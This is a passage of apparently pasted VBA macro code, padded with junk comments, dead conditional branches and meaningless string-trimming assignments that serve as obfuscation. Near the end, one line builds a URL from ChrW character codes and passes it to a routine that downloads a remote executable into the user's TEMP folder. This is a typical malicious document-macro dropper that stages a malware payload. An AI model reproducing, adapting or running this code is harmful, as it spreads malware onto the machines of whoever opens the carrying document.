  1171. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1172. If 152941 = 152941 + 1 Then End
  1173. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1174. If 7368 < 11 Then
  1175. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1176.        MsgBox ("YOEBQAHL83")
  1177. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1178. End If
  1179. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1180. If Len("YGEGTANL2532") = Len("GEQQEKPK") Then
  1181. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1182.       MsgBox ("ERROR !!!")
  1183. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1184. End If
  1185. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1186. URERLENK = "           YQGELS               "
  1187. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1188.  
  1189. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1190. If 126399 = 126399 + 1 Then End
  1191. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1192. If 1169 < 66 Then
  1193. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1194.        MsgBox ("XSXTCSAP28")
  1195. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1196. End If
  1197. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1198. If Len("MYAMDFZQ4333") = Len("XPTIXDZK") Then
  1199. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1200.       MsgBox ("ERROR !!!")
  1201. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1202. End If
  1203. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1204. XMOICGSN = LTrim(URERLENK)
  1205. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1206.  
  1207. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1208. If 595552 = 595552 + 1 Then End
  1209. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1210. If 5597 < 58 Then
  1211. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1212.        MsgBox ("FDDSZGOQ94")
  1213. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1214. End If
  1215. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1216. If Len("WEJPQITZ6447") = Len("GXHHTFKH") Then
  1217. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1218.       MsgBox ("ERROR !!!")
  1219. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1220. End If
  1221. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1222. VYVZUSWM = RTrim(XMOICGSN)
  1223. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1224.  
  1225. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1226.  
  1227. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1228. If 748337 = 748337 + 1 Then End
  1229. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1230. If 4877 < 14 Then
  1231. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1232.        MsgBox ("RMIIBCNV56")
  1233. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1234. End If
  1235. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1236. If Len("DMRUQDRG8141") = Len("GVIWMQEW") Then
  1237. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1238.       MsgBox ("ERROR !!!")
  1239. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1240. End If
  1241. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1242.    Set JGNEZQPKOWX = Nothing
  1243. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1244.  
  1245. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1246. Dim UXKFSEYI, LZRJDHPL, YIHLHRDE As String
  1247. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1248. If 281621 = 281621 + 1 Then End
  1249. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1250. If 8655 < 89 Then
  1251. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1252.        MsgBox ("CISJPNUU63")
  1253. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1254. End If
  1255. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1256. If Len("QOMVOQFL9595") = Len("YALEZJZY") Then
  1257. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1258.       MsgBox ("ERROR !!!")
  1259. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1260. End If
  1261. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1262. UXKFSEYI = "           GXCHME               "
  1263. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1264.  
  1265. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1266. If 265989 = 265989 + 1 Then End
  1267. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1268. If 8133 < 56 Then
  1269. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1270.        MsgBox ("ZRDDNXGP98")
  1271. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1272. End If
  1273. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1274. If Len("SRPDSDMB3396") = Len("DODBWQLT") Then
  1275. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1276.       MsgBox ("ERROR !!!")
  1277. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1278. End If
  1279. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1280. LZRJDHPL = LTrim(UXKFSEYI)
  1281. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1282.  
  1283. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1284. If 492865 = 492865 + 1 Then End
  1285. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1286. If 4561 < 63 Then
  1287. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1288.        MsgBox ("TQWRAFBV83")
  1289. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1290. End If
  1291. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1292. If Len("SZBEPUWJ7734") = Len("UMVIRDOR") Then
  1293. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1294.       MsgBox ("ERROR !!!")
  1295. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1296. End If
  1297. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1298. YIHLHRDE = RTrim(LZRJDHPL)
  1299. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1300.  
  1301. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1302.  
  1303. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1304. If 275572 = 275572 + 1 Then End
  1305. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1306. If 1652 < 58 Then
  1307. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1308.        MsgBox ("NGKMWGZT24")
  1309. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1310. End If
  1311. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1312. If Len("PGGLITYW2513") = Len("QLKUHRTA") Then
  1313. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1314.       MsgBox ("ERROR !!!")
  1315. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1316. End If
  1317. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1318.      
  1319. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1320.  
  1321. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1322. End Function
  1323. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1324. Sub TZWHIXLFHBW()
  1325. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1326. Dim QLLLUABY, LBMFCMBW, FNRAKVCX As String
  1327. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1328. If 576283 = 576283 + 1 Then End
  1329. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1330. If 3511 < 28 Then
  1331. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1332.        MsgBox ("EWASIQJN11")
  1333. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1334. End If
  1335. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1336. If Len("RAAEZQAB4361") = Len("VLBIWJGD") Then
  1337. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1338.       MsgBox ("ERROR !!!")
  1339. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1340. End If
  1341. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1342. QLLLUABY = "           TDULYF               "
  1343. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1344.  
  1345. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1346. If 783842 = 783842 + 1 Then End
  1347. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1348. If 7735 < 43 Then
  1349. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1350.        MsgBox ("OKZICIBZ85")
  1351. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1352. End If
  1353. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1354. If Len("YFICDPAE8575") = Len("IJQQXONP") Then
  1355. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1356.       MsgBox ("ERROR !!!")
  1357. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1358. End If
  1359. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1360. LBMFCMBW = LTrim(QLLLUABY)
  1361. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1362.  
  1363. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1364. If 362152 = 362152 + 1 Then End
  1365. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1366. If 5676 < 59 Then
  1367. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1368.        MsgBox ("FGZYUCTF79")
  1369. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1370. End If
  1371. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1372. If Len("YPCFQREM6426") = Len("GVTPOXFM") Then
  1373. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1374.       MsgBox ("ERROR !!!")
  1375. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1376. End If
  1377. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1378. FNRAKVCX = RTrim(LBMFCMBW)
  1379. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1380.  
  1381. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1382.  
  1383. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1384. If 229886 = 229886 + 1 Then End
  1385. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1386. If 2195 < 86 Then
  1387. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1388.        MsgBox ("TDGIPZJN38")
  1389. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1390. End If
  1391. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1392. If Len("ZIWVATLZ3955") = Len("TSVQOEKI") Then
  1393. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1394.       MsgBox ("ERROR !!!")
  1395. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1396. End If
  1397. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1398.    SICJGWUTEZO ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(58) & ChrW(47) & ChrW(47) & ChrW(103) & ChrW(97) & ChrW(114) & ChrW(102) & ChrW(105) & ChrW(101) & ChrW(108) & ChrW(100) & ChrW(54) & ChrW(55) & ChrW(46) & ChrW(100) & ChrW(101) & ChrW(47) & ChrW(49) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101), Environ("TEMP") & "\SUVCKSGZTGK.exe"
  1399. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1400.  
  1401. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1402. End Sub
  1403. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1404.  
  1405. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement